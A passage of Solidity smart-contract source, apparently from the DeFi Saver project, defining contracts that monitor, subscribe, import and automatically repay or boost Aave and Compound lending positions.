totalBorrow: ILendingPool(lendingPoolCoreAddress).getReserveTotalBorrowsVariable(_tokenAddresses[i]),
collateralFactor: ltv,
price: IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokenAddresses[i]),
usageAsCollateralEnabled: usageAsCollateralEnabled
});
}
}
/// @notice Fetches all the collateral/debt address and amounts, denominated in ether
/// @param _user Address of the user
/// @return data LoanData information
function getLoanData(address _user) public view returns (LoanData memory data) {
address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool();
address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle();
address[] memory reserves = ILendingPool(lendingPoolAddress).getReserves();
data = LoanData({
user: _user,
ratio: 0,
collAddr: new address[](reserves.length),
borrowAddr: new address[](reserves.length),
collAmounts: new uint[](reserves.length),
borrowAmounts: new uint[](reserves.length)
});
uint64 collPos = 0;
uint64 borrowPos = 0;
for (uint64 i = 0; i < reserves.length; i++) {
address reserve = reserves[i];
(uint256 aTokenBalance, uint256 borrowBalance,,,,,,,,) = ILendingPool(lendingPoolAddress).getUserReserveData(reserve, _user);
uint256 price = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(reserves[i]);
if (aTokenBalance > 0) {
uint256 userTokenBalanceEth = wmul(aTokenBalance, price) * (10 ** (18 - _getDecimals(reserve)));
data.collAddr[collPos] = reserve;
data.collAmounts[collPos] = userTokenBalanceEth;
collPos++;
}
// Sum up debt in Eth
if (borrowBalance > 0) {
uint256 userBorrowBalanceEth = wmul(borrowBalance, price) * (10 ** (18 - _getDecimals(reserve)));
data.borrowAddr[borrowPos] = reserve;
data.borrowAmounts[borrowPos] = userBorrowBalanceEth;
borrowPos++;
}
}
data.ratio = uint128(getSafetyRatio(_user));
return data;
}
/// @notice Fetches all the collateral/debt address and amounts, denominated in ether
/// @param _users Addresses of the user
/// @return loans Array of LoanData information
function getLoanDataArr(address[] memory _users) public view returns (LoanData[] memory loans) {
loans = new LoanData[](_users.length);
for (uint i = 0; i < _users.length; ++i) {
loans[i] = getLoanData(_users[i]);
}
}
}
contract AaveMonitor is AdminAuth, DSMath, AaveSafetyRatio, GasBurner {
using SafeERC20 for ERC20;
enum Method { Boost, Repay }
uint public REPAY_GAS_TOKEN = 19;
uint public BOOST_GAS_TOKEN = 19;
uint public MAX_GAS_PRICE = 200000000000; // 200 gwei
uint public REPAY_GAS_COST = 2500000;
uint public BOOST_GAS_COST = 2500000;
address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126;
AaveMonitorProxy public aaveMonitorProxy;
AaveSubscriptions public subscriptionsContract;
address public aaveSaverProxy;
DefisaverLogger public logger = DefisaverLogger(DEFISAVER_LOGGER);
modifier onlyApproved() {
require(BotRegistry(BOT_REGISTRY_ADDRESS).botList(msg.sender), "Not auth bot");
_;
}
/// @param _aaveMonitorProxy Proxy contracts that actually is authorized to call DSProxy
/// @param _subscriptions Subscriptions contract for Aave positions
/// @param _aaveSaverProxy Contract that actually performs Repay/Boost
constructor(address _aaveMonitorProxy, address _subscriptions, address _aaveSaverProxy) public {
aaveMonitorProxy = AaveMonitorProxy(_aaveMonitorProxy);
subscriptionsContract = AaveSubscriptions(_subscriptions);
aaveSaverProxy = _aaveSaverProxy;
}
/// @notice Bots call this method to repay for user when conditions are met
/// @dev If the contract ownes gas token it will try and use it for gas price reduction
/// @param _exData Exchange data
/// @param _user The actual address that owns the Aave position
function repayFor(
SaverExchangeCore.ExchangeData memory _exData,
address _user
) public payable onlyApproved burnGas(REPAY_GAS_TOKEN) {
(bool isAllowed, uint ratioBefore) = canCall(Method.Repay, _user);
require(isAllowed); // check if conditions are met
uint256 gasCost = calcGasCost(REPAY_GAS_COST);
aaveMonitorProxy.callExecute{value: msg.value}(
_user,
aaveSaverProxy,
abi.encodeWithSignature(
"repay((address,address,uint256,uint256,uint256,address,address,bytes,uint256),uint256)",
_exData,
gasCost
)
);
(bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Repay, _user);
require(isGoodRatio); // check if the after result of the actions is good
returnEth();
logger.Log(address(this), _user, "AutomaticAaveRepay", abi.encode(ratioBefore, ratioAfter));
}
/// @notice Bots call this method to boost for user when conditions are met
/// @dev If the contract ownes gas token it will try and use it for gas price reduction
/// @param _exData Exchange data
/// @param _user The actual address that owns the Aave position
function boostFor(
SaverExchangeCore.ExchangeData memory _exData,
address _user
) public payable onlyApproved burnGas(BOOST_GAS_TOKEN) {
(bool isAllowed, uint ratioBefore) = canCall(Method.Boost, _user);
require(isAllowed); // check if conditions are met
uint256 gasCost = calcGasCost(BOOST_GAS_COST);
aaveMonitorProxy.callExecute{value: msg.value}(
_user,
aaveSaverProxy,
abi.encodeWithSignature(
"boost((address,address,uint256,uint256,uint256,address,address,bytes,uint256),uint256)",
_exData,
gasCost
)
);
(bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Boost, _user);
require(isGoodRatio); // check if the after result of the actions is good
returnEth();
logger.Log(address(this), _user, "AutomaticAaveBoost", abi.encode(ratioBefore, ratioAfter));
}
/******************* INTERNAL METHODS ********************************/
function returnEth() internal {
// return if some eth left
if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance);
}
}
/******************* STATIC METHODS ********************************/
/// @notice Checks if Boost/Repay could be triggered for the CDP
/// @dev Called by AaveMonitor to enforce the min/max check
/// @param _method Type of action to be called
/// @param _user The actual address that owns the Aave position
/// @return Boolean if it can be called and the ratio
function canCall(Method _method, address _user) public view returns(bool, uint) {
bool subscribed = subscriptionsContract.isSubscribed(_user);
AaveSubscriptions.AaveHolder memory holder = subscriptionsContract.getHolder(_user);
// check if cdp is subscribed
if (!subscribed) return (false, 0);
// check if boost and boost allowed
if (_method == Method.Boost && !holder.boostEnabled) return (false, 0);
uint currRatio = getSafetyRatio(_user);
if (_method == Method.Repay) {
return (currRatio < holder.minRatio, currRatio);
} else if (_method == Method.Boost) {
return (currRatio > holder.maxRatio, currRatio);
}
}
/// @dev After the Boost/Repay check if the ratio doesn't trigger another call
/// @param _method Type of action to be called
/// @param _user The actual address that owns the Aave position
/// @return Boolean if the recent action preformed correctly and the ratio
function ratioGoodAfter(Method _method, address _user) public view returns(bool, uint) {
AaveSubscriptions.AaveHolder memory holder;
holder= subscriptionsContract.getHolder(_user);
uint currRatio = getSafetyRatio(_user);
if (_method == Method.Repay) {
return (currRatio < holder.maxRatio, currRatio);
} else if (_method == Method.Boost) {
return (currRatio > holder.minRatio, currRatio);
}
}
/// @notice Calculates gas cost (in Eth) of tx
/// @dev Gas price is limited to MAX_GAS_PRICE to prevent attack of draining user CDP
/// @param _gasAmount Amount of gas used for the tx
function calcGasCost(uint _gasAmount) public view returns (uint) {
uint gasPrice = tx.gasprice <= MAX_GAS_PRICE ? tx.gasprice : MAX_GAS_PRICE;
return mul(gasPrice, _gasAmount);
}
/******************* OWNER ONLY OPERATIONS ********************************/
/// @notice Allows owner to change gas cost for boost operation, but only up to 3 millions
/// @param _gasCost New gas cost for boost method
function changeBoostGasCost(uint _gasCost) public onlyOwner {
require(_gasCost < 3000000);
BOOST_GAS_COST = _gasCost;
}
/// @notice Allows owner to change gas cost for repay operation, but only up to 3 millions
/// @param _gasCost New gas cost for repay method
function changeRepayGasCost(uint _gasCost) public onlyOwner {
require(_gasCost < 3000000);
REPAY_GAS_COST = _gasCost;
}
/// @notice Allows owner to change max gas price
/// @param _maxGasPrice New max gas price
function changeMaxGasPrice(uint _maxGasPrice) public onlyOwner {
require(_maxGasPrice < 500000000000);
MAX_GAS_PRICE = _maxGasPrice;
}
/// @notice Allows owner to change gas token amount
/// @param _gasTokenAmount New gas token amount
/// @param _repay true if repay gas token, false if boost gas token
function changeGasTokenAmount(uint _gasTokenAmount, bool _repay) public onlyOwner {
if (_repay) {
REPAY_GAS_TOKEN = _gasTokenAmount;
} else {
BOOST_GAS_TOKEN = _gasTokenAmount;
}
}
}
contract AaveMonitorProxy is AdminAuth {
using SafeERC20 for ERC20;
uint public CHANGE_PERIOD;
address public monitor;
address public newMonitor;
address public lastMonitor;
uint public changeRequestedTimestamp;
mapping(address => bool) public allowed;
event MonitorChangeInitiated(address oldMonitor, address newMonitor);
event MonitorChangeCanceled();
event MonitorChangeFinished(address monitor);
event MonitorChangeReverted(address monitor);
// if someone who is allowed become malicious, owner can't be changed
modifier onlyAllowed() {
require(allowed[msg.sender] || msg.sender == owner);
_;
}
modifier onlyMonitor() {
require (msg.sender == monitor);
_;
}
constructor(uint _changePeriod) public {
CHANGE_PERIOD = _changePeriod * 1 days;
}
/// @notice Only monitor contract is able to call execute on users proxy
/// @param _owner Address of cdp owner (users DSProxy address)
/// @param _aaveSaverProxy Address of AaveSaverProxy
/// @param _data Data to send to AaveSaverProxy
function callExecute(address _owner, address _aaveSaverProxy, bytes memory _data) public payable onlyMonitor {
// execute reverts if calling specific method fails
DSProxyInterface(_owner).execute{value: msg.value}(_aaveSaverProxy, _data);
// return if anything left
if (address(this).balance > 0) {
msg.sender.transfer(address(this).balance);
}
}
/// @notice Allowed users are able to set Monitor contract without any waiting period first time
/// @param _monitor Address of Monitor contract
function setMonitor(address _monitor) public onlyAllowed {
require(monitor == address(0));
monitor = _monitor;
}
/// @notice Allowed users are able to start procedure for changing monitor
/// @dev after CHANGE_PERIOD needs to call confirmNewMonitor to actually make a change
/// @param _newMonitor address of new monitor
function changeMonitor(address _newMonitor) public onlyAllowed {
require(changeRequestedTimestamp == 0);
changeRequestedTimestamp = now;
lastMonitor = monitor;
newMonitor = _newMonitor;
emit MonitorChangeInitiated(lastMonitor, newMonitor);
}
/// @notice At any point allowed users are able to cancel monitor change
function cancelMonitorChange() public onlyAllowed {
require(changeRequestedTimestamp > 0);
changeRequestedTimestamp = 0;
newMonitor = address(0);
emit MonitorChangeCanceled();
}
/// @notice Anyone is able to confirm new monitor after CHANGE_PERIOD if process is started
function confirmNewMonitor() public onlyAllowed {
require((changeRequestedTimestamp + CHANGE_PERIOD) < now);
require(changeRequestedTimestamp != 0);
require(newMonitor != address(0));
monitor = newMonitor;
newMonitor = address(0);
changeRequestedTimestamp = 0;
emit MonitorChangeFinished(monitor);
}
/// @notice Its possible to revert monitor to last used monitor
function revertMonitor() public onlyAllowed {
require(lastMonitor != address(0));
monitor = lastMonitor;
emit MonitorChangeReverted(monitor);
}
/// @notice Allowed users are able to add new allowed user
/// @param _user Address of user that will be allowed
function addAllowed(address _user) public onlyAllowed {
allowed[_user] = true;
}
/// @notice Allowed users are able to remove allowed user
/// @dev owner is always allowed even if someone tries to remove it from allowed mapping
/// @param _user Address of allowed user
function removeAllowed(address _user) public onlyAllowed {
allowed[_user] = false;
}
function setChangePeriod(uint _periodInDays) public onlyAllowed {
require(_periodInDays * 1 days > CHANGE_PERIOD);
CHANGE_PERIOD = _periodInDays * 1 days;
}
/// @notice In case something is left in contract, owner is able to withdraw it
/// @param _token address of token to withdraw balance
function withdrawToken(address _token) public onlyOwner {
uint balance = ERC20(_token).balanceOf(address(this));
ERC20(_token).safeTransfer(msg.sender, balance);
}
/// @notice In case something is left in contract, owner is able to withdraw it
function withdrawEth() public onlyOwner {
uint balance = address(this).balance;
msg.sender.transfer(balance);
}
}
contract AaveSubscriptions is AdminAuth {
struct AaveHolder {
address user;
uint128 minRatio;
uint128 maxRatio;
uint128 optimalRatioBoost;
uint128 optimalRatioRepay;
bool boostEnabled;
}
struct SubPosition {
uint arrPos;
bool subscribed;
}
AaveHolder[] public subscribers;
mapping (address => SubPosition) public subscribersPos;
uint public changeIndex;
event Subscribed(address indexed user);
event Unsubscribed(address indexed user);
event Updated(address indexed user);
event ParamUpdates(address indexed user, uint128, uint128, uint128, uint128, bool);
/// @dev Called by the DSProxy contract which owns the Aave position
/// @notice Adds the users Aave poistion in the list of subscriptions so it can be monitored
/// @param _minRatio Minimum ratio below which repay is triggered
/// @param _maxRatio Maximum ratio after which boost is triggered
/// @param _optimalBoost Ratio amount which boost should target
/// @param _optimalRepay Ratio amount which repay should target
/// @param _boostEnabled Boolean determing if boost is enabled
function subscribe(uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled) external {
// if boost is not enabled, set max ratio to max uint
uint128 localMaxRatio = _boostEnabled ? _maxRatio : uint128(-1);
require(checkParams(_minRatio, localMaxRatio), "Must be correct params");
SubPosition storage subInfo = subscribersPos[msg.sender];
AaveHolder memory subscription = AaveHolder({
minRatio: _minRatio,
maxRatio: localMaxRatio,
optimalRatioBoost: _optimalBoost,
optimalRatioRepay: _optimalRepay,
user: msg.sender,
boostEnabled: _boostEnabled
});
changeIndex++;
if (subInfo.subscribed) {
subscribers[subInfo.arrPos] = subscription;
emit Updated(msg.sender);
emit ParamUpdates(msg.sender, _minRatio, localMaxRatio, _optimalBoost, _optimalRepay, _boostEnabled);
} else {
subscribers.push(subscription);
subInfo.arrPos = subscribers.length - 1;
subInfo.subscribed = true;
emit Subscribed(msg.sender);
}
}
/// @notice Called by the users DSProxy
/// @dev Owner who subscribed cancels his subscription
function unsubscribe() external {
_unsubscribe(msg.sender);
}
/// @dev Checks limit if minRatio is bigger than max
/// @param _minRatio Minimum ratio, bellow which repay can be triggered
/// @param _maxRatio Maximum ratio, over which boost can be triggered
/// @return Returns bool if the params are correct
function checkParams(uint128 _minRatio, uint128 _maxRatio) internal pure returns (bool) {
if (_minRatio > _maxRatio) {
return false;
}
return true;
}
/// @dev Internal method to remove a subscriber from the list
/// @param _user The actual address that owns the Aave position
function _unsubscribe(address _user) internal {
require(subscribers.length > 0, "Must have subscribers in the list");
SubPosition storage subInfo = subscribersPos[_user];
require(subInfo.subscribed, "Must first be subscribed");
address lastOwner = subscribers[subscribers.length - 1].user;
SubPosition storage subInfo2 = subscribersPos[lastOwner];
subInfo2.arrPos = subInfo.arrPos;
subscribers[subInfo.arrPos] = subscribers[subscribers.length - 1];
subscribers.pop(); // remove last element and reduce arr length
changeIndex++;
subInfo.subscribed = false;
subInfo.arrPos = 0;
emit Unsubscribed(msg.sender);
}
/// @dev Checks if the user is subscribed
/// @param _user The actual address that owns the Aave position
/// @return If the user is subscribed
function isSubscribed(address _user) public view returns (bool) {
SubPosition storage subInfo = subscribersPos[_user];
return subInfo.subscribed;
}
/// @dev Returns subscribtion information about a user
/// @param _user The actual address that owns the Aave position
/// @return Subscription information about the user if exists
function getHolder(address _user) public view returns (AaveHolder memory) {
SubPosition storage subInfo = subscribersPos[_user];
return subscribers[subInfo.arrPos];
}
/// @notice Helper method to return all the subscribed CDPs
/// @return List of all subscribers
function getSubscribers() public view returns (AaveHolder[] memory) {
return subscribers;
}
/// @notice Helper method for the frontend, returns all the subscribed CDPs paginated
/// @param _page What page of subscribers you want
/// @param _perPage Number of entries per page
/// @return List of all subscribers for that page
function getSubscribersByPage(uint _page, uint _perPage) public view returns (AaveHolder[] memory) {
AaveHolder[] memory holders = new AaveHolder[](_perPage);
uint start = _page * _perPage;
uint end = start + _perPage;
end = (end > holders.length) ? holders.length : end;
uint count = 0;
for (uint i = start; i < end; i++) {
holders[count] = subscribers[i];
count++;
}
return holders;
}
////////////// ADMIN METHODS ///////////////////
/// @notice Admin function to unsubscribe a position
/// @param _user The actual address that owns the Aave position
function unsubscribeByAdmin(address _user) public onlyOwner {
SubPosition storage subInfo = subscribersPos[_user];
if (subInfo.subscribed) {
_unsubscribe(_user);
}
}
}
contract AaveSubscriptionsProxy is ProxyPermission {
address public constant AAVE_SUBSCRIPTION_ADDRESS = 0xe08ff7A2BADb634F0b581E675E6B3e583De086FC;
address public constant AAVE_MONITOR_PROXY = 0xfA560Dba3a8D0B197cA9505A2B98120DD89209AC;
/// @notice Calls subscription contract and creates a DSGuard if non existent
/// @param _minRatio Minimum ratio below which repay is triggered
/// @param _maxRatio Maximum ratio after which boost is triggered
/// @param _optimalRatioBoost Ratio amount which boost should target
/// @param _optimalRatioRepay Ratio amount which repay should target
/// @param _boostEnabled Boolean determing if boost is enabled
function subscribe(
uint128 _minRatio,
uint128 _maxRatio,
uint128 _optimalRatioBoost,
uint128 _optimalRatioRepay,
bool _boostEnabled
) public {
givePermission(AAVE_MONITOR_PROXY);
IAaveSubscription(AAVE_SUBSCRIPTION_ADDRESS).subscribe(
_minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled);
}
/// @notice Calls subscription contract and updated existing parameters
/// @dev If subscription is non existent this will create one
/// @param _minRatio Minimum ratio below which repay is triggered
/// @param _maxRatio Maximum ratio after which boost is triggered
/// @param _optimalRatioBoost Ratio amount which boost should target
/// @param _optimalRatioRepay Ratio amount which repay should target
/// @param _boostEnabled Boolean determing if boost is enabled
function update(
uint128 _minRatio,
uint128 _maxRatio,
uint128 _optimalRatioBoost,
uint128 _optimalRatioRepay,
bool _boostEnabled
) public {
IAaveSubscription(AAVE_SUBSCRIPTION_ADDRESS).subscribe(_minRatio, _maxRatio, _optimalRatioBoost, _optimalRatioRepay, _boostEnabled);
}
/// @notice Calls the subscription contract to unsubscribe the caller
function unsubscribe() public {
removePermission(AAVE_MONITOR_PROXY);
IAaveSubscription(AAVE_SUBSCRIPTION_ADDRESS).unsubscribe();
}
}
contract AaveImport is AaveHelper, AdminAuth {
using SafeERC20 for ERC20;
address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant BASIC_PROXY = 0x0e49911C937357EAA5a56984483b4B8918D0493b;
address public constant AETH_ADDRESS = 0x3a3A65aAb0dd2A17E3F1947bA16138cd37d08c04;
function callFunction(
address sender,
Account.Info memory account,
bytes memory data
) public {
(
address collateralToken,
address borrowToken,
uint256 ethAmount,
address user,
address proxy
)
= abi.decode(data, (address,address,uint256,address,address));
// withdraw eth
TokenInterface(WETH_ADDRESS).withdraw(ethAmount);
address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore();
address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool();
address aCollateralToken = ILendingPool(lendingPoolCoreAddress).getReserveATokenAddress(collateralToken);
address aBorrowToken = ILendingPool(lendingPoolCoreAddress).getReserveATokenAddress(borrowToken);
// deposit eth on behalf of proxy
DSProxy(payable(proxy)).execute{value: ethAmount}(BASIC_PROXY, abi.encodeWithSignature("deposit(address,uint256)", ETH_ADDR, ethAmount));
// borrow needed amount to repay users borrow
(,uint256 borrowAmount,,uint256 borrowRateMode,,,uint256 originationFee,,,) = ILendingPool(lendingPool).getUserReserveData(borrowToken, user);
borrowAmount += originationFee;
DSProxy(payable(proxy)).execute(BASIC_PROXY, abi.encodeWithSignature("borrow(address,uint256,uint256)", borrowToken, borrowAmount, borrowRateMode));
// payback on behalf of user
ERC20(borrowToken).safeApprove(proxy, borrowAmount);
DSProxy(payable(proxy)).execute(BASIC_PROXY, abi.encodeWithSignature("paybackOnBehalf(address,address,uint256,bool,address)", borrowToken, aBorrowToken, 0, true, user));
// pull tokens from user to proxy
ERC20(aCollateralToken).safeTransferFrom(user, proxy, ERC20(aCollateralToken).balanceOf(user));
// enable as collateral
DSProxy(payable(proxy)).execute(BASIC_PROXY, abi.encodeWithSignature("setUserUseReserveAsCollateralIfNeeded(address)", collateralToken));
// withdraw deposited eth
DSProxy(payable(proxy)).execute(BASIC_PROXY, abi.encodeWithSignature("withdraw(address,address,uint256,bool)", ETH_ADDR, AETH_ADDRESS, ethAmount, false));
// deposit eth, get weth and return to sender
TokenInterface(WETH_ADDRESS).deposit.value(address(this).balance)();
ERC20(WETH_ADDRESS).safeTransfer(proxy, ethAmount+2);
}
/// @dev if contract receive eth, convert it to WETH
receive() external payable {
// deposit eth and get weth
if (msg.sender == owner) {
TokenInterface(WETH_ADDRESS).deposit.value(address(this).balance)();
}
}
}
contract AaveImportTaker is DydxFlashLoanBase, ProxyPermission {
address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address payable public constant AAVE_IMPORT = 0x2f8ADA783E0696F610e5637CF873B967f47dF2E3;
address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126;
address public constant PROXY_REGISTRY_ADDRESS = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4;
/// @notice Starts the process to move users position 1 collateral and 1 borrow
/// @dev User must send 2 wei with this transaction
/// @dev User must approve AaveImport to pull _aCollateralToken
/// @param _collateralToken Collateral token we are moving to DSProxy
/// @param _borrowToken Borrow token we are moving to DSProxy
/// @param _ethAmount ETH amount that needs to be pulled from dydx
function importLoan(address _collateralToken, address _borrowToken, uint _ethAmount) public {
ISoloMargin solo = ISoloMargin(SOLO_MARGIN_ADDRESS);
// Get marketId from token address
uint256 marketId = _getMarketIdFromTokenAddress(WETH_ADDR);
// Calculate repay amount (_amount + (2 wei))
// Approve transfer from
uint256 repayAmount = _getRepaymentAmountInternal(_ethAmount);
ERC20(WETH_ADDR).approve(SOLO_MARGIN_ADDRESS, repayAmount);
Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3);
operations[0] = _getWithdrawAction(marketId, _ethAmount, AAVE_IMPORT);
operations[1] = _getCallAction(
abi.encode(_collateralToken, _borrowToken, _ethAmount, msg.sender, address(this)),
AAVE_IMPORT
);
operations[2] = _getDepositAction(marketId, repayAmount, address(this));
Account.Info[] memory accountInfos = new Account.Info[](1);
accountInfos[0] = _getAccountInfo();
givePermission(AAVE_IMPORT);
solo.operate(accountInfos, operations);
removePermission(AAVE_IMPORT);
DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "AaveImport", abi.encode(_collateralToken, _borrowToken));
}
}
contract CompoundBasicProxy is GasBurner {
address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public constant COMPTROLLER_ADDR = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
using SafeERC20 for ERC20;
/// @notice User deposits tokens to the Compound protocol
/// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens
/// @param _tokenAddr The address of the token to be deposited
/// @param _cTokenAddr CTokens to be deposited
/// @param _amount Amount of tokens to be deposited
/// @param _inMarket True if the token is already in market for that address
function deposit(address _tokenAddr, address _cTokenAddr, uint _amount, bool _inMarket) public burnGas(5) payable {
if (_tokenAddr != ETH_ADDR) {
ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), _amount);
}
approveToken(_tokenAddr, _cTokenAddr);
if (!_inMarket) {
enterMarket(_cTokenAddr);
}
if (_tokenAddr != ETH_ADDR) {
require(CTokenInterface(_cTokenAddr).mint(_amount) == 0);
} else {
CEtherInterface(_cTokenAddr).mint{value: msg.value}(); // reverts on fail
}
}
/// @notice User withdraws tokens to the Compound protocol
/// @param _tokenAddr The address of the token to be withdrawn
/// @param _cTokenAddr CTokens to be withdrawn
/// @param _amount Amount of tokens to be withdrawn
/// @param _isCAmount If true _amount is cTokens if falls _amount is underlying tokens
function withdraw(address _tokenAddr, address _cTokenAddr, uint _amount, bool _isCAmount) public burnGas(5) {
if (_isCAmount) {
require(CTokenInterface(_cTokenAddr).redeem(_amount) == 0);
} else {
require(CTokenInterface(_cTokenAddr).redeemUnderlying(_amount) == 0);
}
// withdraw funds to msg.sender
if (_tokenAddr != ETH_ADDR) {
ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this)));
} else {
msg.sender.transfer(address(this).balance);
}
}
/// @notice User borrows tokens to the Compound protocol
/// @param _tokenAddr The address of the token to be borrowed
/// @param _cTokenAddr CTokens to be borrowed
/// @param _amount Amount of tokens to be borrowed
/// @param _inMarket True if the token is already in market for that address
function borrow(address _tokenAddr, address _cTokenAddr, uint _amount, bool _inMarket) public burnGas(8) {
if (!_inMarket) {
enterMarket(_cTokenAddr);
}
require(CTokenInterface(_cTokenAddr).borrow(_amount) == 0);
// withdraw funds to msg.sender
if (_tokenAddr != ETH_ADDR) {
ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this)));
} else {
msg.sender.transfer(address(this).balance);
}
}
/// @dev User needs to approve the DSProxy to pull the _tokenAddr tokens
/// @notice User paybacks tokens to the Compound protocol
/// @param _tokenAddr The address of the token to be paybacked
/// @param _cTokenAddr CTokens to be paybacked
/// @param _amount Amount of tokens to be payedback
/// @param _wholeDebt If true the _amount will be set to the whole amount of the debt
function payback(address _tokenAddr, address _cTokenAddr, uint _amount, bool _wholeDebt) public burnGas(5) payable {
approveToken(_tokenAddr, _cTokenAddr);
if (_wholeDebt) {
_amount = CTokenInterface(_cTokenAddr).borrowBalanceCurrent(address(this));
}
if (_tokenAddr != ETH_ADDR) {
ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(this), _amount);
require(CTokenInterface(_cTokenAddr).repayBorrow(_amount) == 0);
} else {
CEtherInterface(_cTokenAddr).repayBorrow{value: msg.value}();
msg.sender.transfer(address(this).balance); // send back the extra eth
}
}
/// @notice Helper method to withdraw tokens from the DSProxy
/// @param _tokenAddr Address of the token to be withdrawn
function withdrawTokens(address _tokenAddr) public {
if (_tokenAddr != ETH_ADDR) {
ERC20(_tokenAddr).safeTransfer(msg.sender, ERC20(_tokenAddr).balanceOf(address(this)));
} else {
msg.sender.transfer(address(this).balance);
}
}
/// @notice Enters the Compound market so it can be deposited/borrowed
/// @param _cTokenAddr CToken address of the token
function enterMarket(address _cTokenAddr) public {
address[] memory markets = new address[](1);
markets[0] = _cTokenAddr;
ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets);
}
/// @notice Exits the Compound market so it can't be deposited/borrowed
/// @param _cTokenAddr CToken address of the token
function exitMarket(address _cTokenAddr) public {
ComptrollerInterface(COMPTROLLER_ADDR).exitMarket(_cTokenAddr);
}
/// @notice Approves CToken contract to pull underlying tokens from the DSProxy
/// @param _tokenAddr Token we are trying to approve
/// @param _cTokenAddr Address which will gain the approval
function approveToken(address _tokenAddr, address _cTokenAddr) internal {
if (_tokenAddr != ETH_ADDR) {
ERC20(_tokenAddr).safeApprove(_cTokenAddr, 0);
ERC20(_tokenAddr).safeApprove(_cTokenAddr, uint(-1));
}
}
}
contract CompoundSafetyRatio is Exponential, DSMath {
// solhint-disable-next-line const-name-snakecase
ComptrollerInterface public constant comp = ComptrollerInterface(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
/// @notice Calcualted the ratio of debt / adjusted collateral
/// @param _user Address of the user
function getSafetyRatio(address _user) public view returns (uint) {
// For each asset the account is in
address[] memory assets = comp.getAssetsIn(_user);
address oracleAddr = comp.oracle();
uint sumCollateral = 0;
uint sumBorrow = 0;
for (uint i = 0; i < assets.length; i++) {
address asset = assets[i];
(, uint cTokenBalance, uint borrowBalance, uint exchangeRateMantissa)
= CTokenInterface(asset).getAccountSnapshot(_user);
Exp memory oraclePrice;
if (cTokenBalance != 0 || borrowBalance != 0) {
oraclePrice = Exp({mantissa: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(asset)});
}
// Sum up collateral in Usd
if (cTokenBalance != 0) {
(, uint collFactorMantissa) = comp.markets(address(asset));
Exp memory collateralFactor = Exp({mantissa: collFactorMantissa});
Exp memory exchangeRate = Exp({mantissa: exchangeRateMantissa});
(, Exp memory tokensToUsd) = mulExp3(collateralFactor, exchangeRate, oraclePrice);
(, sumCollateral) = mulScalarTruncateAddUInt(tokensToUsd, cTokenBalance, sumCollateral);
}
// Sum up debt in Usd
if (borrowBalance != 0) {
(, sumBorrow) = mulScalarTruncateAddUInt(oraclePrice, borrowBalance, sumBorrow);
}
}
if (sumBorrow == 0) return uint(-1);
uint borrowPowerUsed = (sumBorrow * 10**18) / sumCollateral;
return wdiv(1e18, borrowPowerUsed);
}
}
contract CompoundMonitor is AdminAuth, DSMath, CompoundSafetyRatio, GasBurner {
using SafeERC20 for ERC20;
enum Method { Boost, Repay }
uint public REPAY_GAS_TOKEN = 20;
uint public BOOST_GAS_TOKEN = 20;
uint constant public MAX_GAS_PRICE = 500000000000; // 500 gwei
uint public REPAY_GAS_COST = 2000000;
uint public BOOST_GAS_COST = 2000000;
address public constant GAS_TOKEN_INTERFACE_ADDRESS = 0x0000000000b3F879cb30FE243b4Dfee438691c04;
address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126;
address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B;
CompoundMonitorProxy public compoundMonitorProxy;
CompoundSubscriptions public subscriptionsContract;
address public compoundFlashLoanTakerAddress;
DefisaverLogger public logger = DefisaverLogger(DEFISAVER_LOGGER);
modifier onlyApproved() {
require(BotRegistry(BOT_REGISTRY_ADDRESS).botList(msg.sender), "Not auth bot");
_;
}
/// @param _compoundMonitorProxy Proxy contracts that actually is authorized to call DSProxy
/// @param _subscriptions Subscriptions contract for Compound positions
/// @param _compoundFlashLoanTaker Contract that actually performs Repay/Boost
constructor(address _compoundMonitorProxy, address _subscriptions, address _compoundFlashLoanTaker) public {
compoundMonitorProxy = CompoundMonitorProxy(_compoundMonitorProxy);
subscriptionsContract = CompoundSubscriptions(_subscriptions);
compoundFlashLoanTakerAddress = _compoundFlashLoanTaker;
}
/// @notice Bots call this method to repay for user when conditions are met
/// @dev If the contract ownes gas token it will try and use it for gas price reduction
/// @param _exData Exchange data
/// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress]
/// @param _user The actual address that owns the Compound position
function repayFor(
SaverExchangeCore.ExchangeData memory _exData,
